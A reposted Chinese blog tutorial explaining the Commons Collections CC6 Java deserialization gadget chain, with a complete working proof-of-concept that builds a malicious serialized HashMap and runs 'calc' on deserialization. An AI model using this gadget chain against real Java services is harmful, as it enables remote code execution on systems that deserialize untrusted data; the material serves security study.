Java安全 反序列化(5) CC6链原理分析

news2024/11/17 15:47:02

Java安全 反序列化(5) CC6链原理分析

CC6学习的目的在于其可以无视jdk版本,这条链子更像CC1-LazyMap和URLDNS链子的缝合版

文章目录

  • Java安全 反序列化(5) CC6链原理分析
  • 前言
  • 一.CC6的原理和实现以及易错点
    • 我们如何实现调用LazyMap.get()方法
    • 一个易错点
  • 二.完整CC6POC

前言

上篇文章我们通过LazyMap.get()方法实现ChainerTransformer的链式调用

但是我们再次依赖了AnnotationInvocationHandler作为我们反序列化后的入口类

在JDK 8u71以后开发者重写了AnnotationInvocationHandler使我们依赖AnnotationInvocationHandler 调用LazyMap.get()TransformerMap.checkSetValue实现ChaindeTransformer.transform()方法失效

如何让调用ChaindeTransformer.transform()执行任意命令可以无视JDK版本?

我们知道URLDNS链具有普遍性,我们可以同样通过HashMap实现入口类吗?

通过自动调用hashcode方法最终实现ChainerTransformer的链式调用

一.CC6的原理和实现以及易错点

我们如何实现调用LazyMap.get()方法

如果我们查找用法,会发现非常多的结果

image-20240322164733384

前辈们通过TiedMapEntry类实现 HashMapLazyMap的联系

回顾一下HashMap重写了readobject方法

putVal(hash(key), key, value, false, false);
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

调用了传入键值对象的hashCode方法

而TiedMapEntry同样有同名函数hashCode方法,可以实现链式的转移

image-20240322170023348

hashCode方法调用了自身getValue方法

而恰好getValue方法可以调用传入map的get方法

image-20240322170148274

map我们可以控制,修改为LazyMap,不就是和CC1-LazyMap的后半部分一模一样

我们可以直接拿上篇文章的payload进行修改后半段

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        HashMap<Object,Object> hashmap=new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);

TiedMapEntry接受Map map,Object key

image-20240322170650821

我们需要控制map为LazyMap对象,key值任意

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");

而HashMap中控制key值为tiedMapEntry

HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,1);

一个易错点

当我们不反序列化时,直接执行代码,居然也可以RCE

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        HashMap<Object,Object> hashmap=new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
        HashMap<Object,Object> map2= new HashMap<>();
        map2.put(tiedMapEntry,1);



    }

image-20240322171633815

原因和URLDNS链那里一样,因为HashMap的put方法也可以调用hashcode方法

对我们的结果造成干扰

image-20240322160435862

因此我们应该和URLDNS链操作一致,先不让CC链触发,实现后触发

如何操作?

Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));

我们可以随便传个new ConstantTransformer(1)代替chainedTransformer

使它put时不触发,put后再传回正确的值

同时还要注意再LazyMap.get()方法中想要实现ChainedTransformer.transform()就必须保证LazyMap的Key为空

image-20240322173115626

而HashMap.put()方法后,返回了key值,因此key不再为空,后续不可以触发

factory.transform(key)过不了判断

image-20240322174554789

所以put后我们删除LazyMap的键值

lazymap.remove("key");

再通过反射修改LazyMap.decorate(hashmap,new ConstantTransformer(1));中的键为ChaindeTransformer
在运行时动态触发poc

 Class c=LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

image-20240322175554734

可以实现RCE

二.完整CC6POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        HashMap<Object,Object> hashmap=new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
        HashMap<Object,Object> map2= new HashMap<>();
        map2.put(tiedMapEntry,1);
        lazymap.remove("key");
        Class c=LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize();
        





    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1537993.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Kafka 3.x(上)

具体课程请看课程简介_哔哩哔哩_bilibili 概念 分布式流处理平台&#xff0c;它以高吞吐量和可扩展性而闻名。相同类型的消息存在于Topic主题中&#xff0c;主题类似于数据库中的表&#xff0c;不过主题存储的数据大多是半结构化的。主题可以包含多个分区&#xff08;分布式的…

Flink:维表 Join 难点和技术方案汇总

博主历时三年精心创作的《大数据平台架构与原型实现&#xff1a;数据中台建设实战》一书现已由知名IT图书品牌电子工业出版社博文视点出版发行&#xff0c;点击《重磅推荐&#xff1a;建大数据平台太难了&#xff01;给我发个工程原型吧&#xff01;》了解图书详情&#xff0c;…

Vue模块化开发步骤—遇到的问题—解决办法

目录 1.npm install webpack -g 2.npm install -g vue/cli-init 3.初始化vue项目 4.启动vue项目 Vscode初建Vue时几个需要注意的问题-CSDN博客 1.npm install webpack -g 全局安装webpack 直接命令提示符运行改指令会报错&#xff0c;operation not permitted 注意&#…

软件推荐 篇三十七:开源免费无广告的在线音乐免费播放 | MusicFree纯净无广告体验-小众冷门推荐

引言 自从QQ音乐没了杰伦、某云开始收费&#xff0c;除了各种广告弹窗导致电脑卡的要死&#xff0c;打工人就靠这点音乐背景熬夜了&#xff0c;木有办法&#xff0c;得有个开源免费的听歌软件吧&#xff0c;一搜github&#xff0c;软件一大堆&#xff0c;作为一个打工仔&#…

python--for循环

for循环&#xff1a; python中的for循环是用来迭代容器中的每一个元素的&#xff0c;而不是c,java中理解那个循环&#xff1b; for 零时变量 in 容器&#xff1a; print&#xff08;零时变量&#xff09; #每一个迭代出的元素 range 全局函数&#xff1a; …

10、chrome拓展程序的实现

一、拓展程序的实现 拓展程序项目的构成 和前端项目一样&#xff0c;拓展程序也是有Html、CSS、JS文件实现的&#xff0c;现在看来它就是一个静态的前端页面。但是不同的是&#xff0c;拓展程序中还需要额外的一个清单文件&#xff0c;就是manifest.json&#xff0c;清单文件可…

Saltstack 最大打开文件数问题之奇怪的 8192

哈喽大家好&#xff0c;我是咸鱼。 今天分享一个在压测过程中遇到的问题&#xff0c;当时排查这个问题费了我们好大的劲&#xff0c;所以我觉得有必要写一篇文章来记录一下。 问题出现 周末在进行压测的时候&#xff0c;测试和开发的同事反映压测有问题&#xff0c;请求打到…

在 Linux/Ubuntu/Debian 上安装 SQL Server 2019

Microsoft 为 Linux 发行版&#xff08;包括 Ubuntu&#xff09;提供 SQL Server。 以下是有关如何执行此操作的基本指南&#xff1a; 注册 Microsoft Ubuntu 存储库并添加公共存储库 GPG 密钥&#xff1a; sudo wget -qO- https://packages.microsoft.com/keys/microsoft.as…

活动回顾 | 走进华为向深问路,交流数智办公新体验

3月20日下午&#xff0c;“企业数智办公之走进华为”交流活动在华为上海研究所成功举办。此次活动由上海恒驰信息系统有限公司主办&#xff0c;华为云计算技术有限公司和上海利唐信息科技有限公司协办&#xff0c;旨在通过对企业数字差旅和HR数智化解决方案的交流&#xff0c;探…

企业网络基础设施物理安全面临全新挑战

企业网络基础设施的物理安全是确保业务连续性和数据完整性的关键组成部分。随着技术的发展和环境的变化&#xff0c;这些基础设施面临着新的挑战。以下是一些主要的挑战和的解决方案 一、机房、仓库、档案馆物理安全事件频发的挑战&#xff1a; 1.电力安全事件&#xff1a;市…

Bumblebee双目测量基本原理

一.双目视觉原理 双目立体视觉三维测量是基于视差原理。 图 双目立体成像原理 因此,左相机像面上的任意一点只要能在右相机像面上找到对应的匹配点,就可以确定出该点的三维坐标。这种方法是完全的点对点运算,像面上所有点只要存在相应的匹配点,就可以参与上述运算,从而获…

代码随想录笔记|C++数据结构与算法学习笔记-二叉树(一)|二叉树的递归遍历、二叉树的迭代遍历、二叉树的统一迭代法

全文基于代码随想录及相关讲解视频。 文字链接&#xff1a;《代码随想录》 文章目录 二叉树的递归遍历二叉树的前序遍历C代码如下 二叉树的中序遍历二叉树的后序遍历 二叉树的迭代遍历前序遍历前序遍历C代码 右序遍历右序遍历C代码 中序遍历为什么中序遍历不同中序遍历迭代法的…

【C#】使用C#窗体应用开启/停止Apache、MySQL服务

目录 一、前言 二、效果图 三、配置文件 四、代码 五、一键启动/停止所有服务 一、前言 使用C#窗体应用开启Apache、MySQL服务&#xff0c;不仅仅是Apache、MySQL&#xff0c;其他服务也可以使用同样的方法操作&#xff0c;包括开启自己写的脚本服务。 二、效果图 两种状…

【大数据】五、yarn基础

Yarn Yarn 是用来做分布式系统中的资源协调技术 MapReduce 1.x 对于 MapReduce 1.x 的版本上&#xff1a; 由 Client 发起计算请求&#xff0c;Job Tracker 接收请求之后分发给各个TaskTrack进行执行 在这个阶段&#xff0c;资源的管理与请求的计算是集成在 mapreduce 上的…

TCP重传机制详解——01概述

文章目录 TCP重传机制详解——01概述什么是TCP重传&#xff1f;TCP为什么要重传&#xff1f;TCP如何做到重传&#xff1f;TCP重传方式有哪些超时重传(timeout or timer-based retransmission)快速重传(fast retransmission或者fast retransmit)改进的重传机制&#xff0c;早期重…

单机模拟分布式MINIO(阿里云)

拉取的最新MINIO&#xff1a; minio version RELEASE.2024-03-15T01-07-19Z Runtime: go1.21.8 linux/amd64 分布式 MinIO 至少需要4个节点&#xff0c;也就意味着至少4个硬盘&#xff0c;对于囊中羞涩仅用来开发测试的人来说&#xff0c;这笔花销还是比较高昂。有没有更好的…

手机可以看到电脑在干什么吗

手机与电脑之间的连接与互动已成为我们日常生活和工作中的常态。 那么&#xff0c;一个常被提及的问题是&#xff1a;手机可以看到电脑在干什么吗&#xff1f; 答案是肯定的。 随着技术的不断进步&#xff0c;我们现在已经可以通过多种方式实现手机对电脑操作的实时监控。 首…

hadoop namenode 查看日志里面报错8485无法连接

一、通过日志排查问题&#xff1a; 1、首先我通过jpsall命令查看我的进程&#xff0c;发现namenode都没有开启 2、找到问题后首先进入我的日志目录里查看namenode.log [rootnode01 ~]# /opt/yjx/hadoop-3.3.4/logs/ [rootnode01 ~]# ll [rootnode01 ~]# cat hadoop-root-nam…

短视频矩阵系统--技术实际开发打板3年真实开发分享

短视频矩阵系统--技术实际开发打板3年真实开发分享&#xff0c;短视频矩阵系统/矩阵获客系统是一种基于短视频平台的获客游戏。短视频矩阵系统可以通过多账号发布来替代传统的单账号游戏。可以一键发布所有账号&#xff0c;批量制作多个视频AI智能剪辑。过去很多人只能完成的工…

JupyterNotebook 如何切换使用的虚拟环境kernel

在Jupyter Notebook中&#xff0c;如果需要修改使用的虚拟环境Kernel&#xff1a; 首先&#xff0c;需要确保虚拟环境已经安装conda上【conda基本操作】 打开Jupyter Notebook。 在Jupyter Notebook的顶部菜单中&#xff0c;选择 “New” 在弹出的窗口中&#xff0c;列出了…